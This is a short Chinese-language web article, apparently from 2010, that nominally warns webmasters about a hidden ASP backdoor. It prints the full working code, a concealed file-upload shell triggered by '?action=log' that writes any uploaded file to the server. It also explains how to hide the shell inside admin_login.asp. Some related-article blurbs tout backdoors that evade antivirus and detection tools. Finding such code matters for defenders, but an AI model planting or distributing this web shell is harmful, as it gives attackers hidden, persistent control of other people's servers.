隱蔽的ASP后門 大家可以查看下
更新時間：2010年08月04日 13:07:03 作者：
這段代碼可以隱藏在asp文件中，大家可以搜索一些特點的關(guān)鍵字，查看文件的修改日期，看看是不是有如下的代碼。
復(fù)制代碼 代碼如下:
<%if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"\")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<%end if%>
比如編輯在“admin_login.asp”下
以后只需要輸入“admin_login.asp?action=log”即可
相關(guān)文章
有時候通過程序上傳木馬，一般都是偽裝成圖片，下面是asp下檢測圖片木馬的代碼，需要的朋友可以參考下2015-09-09
全面認識ASP注入技巧...2006-10-10
這個代碼，一般不會 被病毒查殺，而且文件比較小，不容易被懷疑，可以放到別的asp文件中，起到隱藏的目的2008-12-12
判斷上傳文件中是否存在危險代碼2009-11-11
本文主要介紹了修改三個組件來達到防范asp木馬攻擊，需要的朋友可以參考下2015-09-09
一個查ASP木馬的小東東2006-07-07
兩個非常規(guī)ASP木馬 為了躲避 lake2 ASP站長管理助手而寫2009-07-07
XSS測試語句大全...2006-07-07
asp后門 另類的ASP后門2008-02-02
asp javascript在線管理...2006-09-09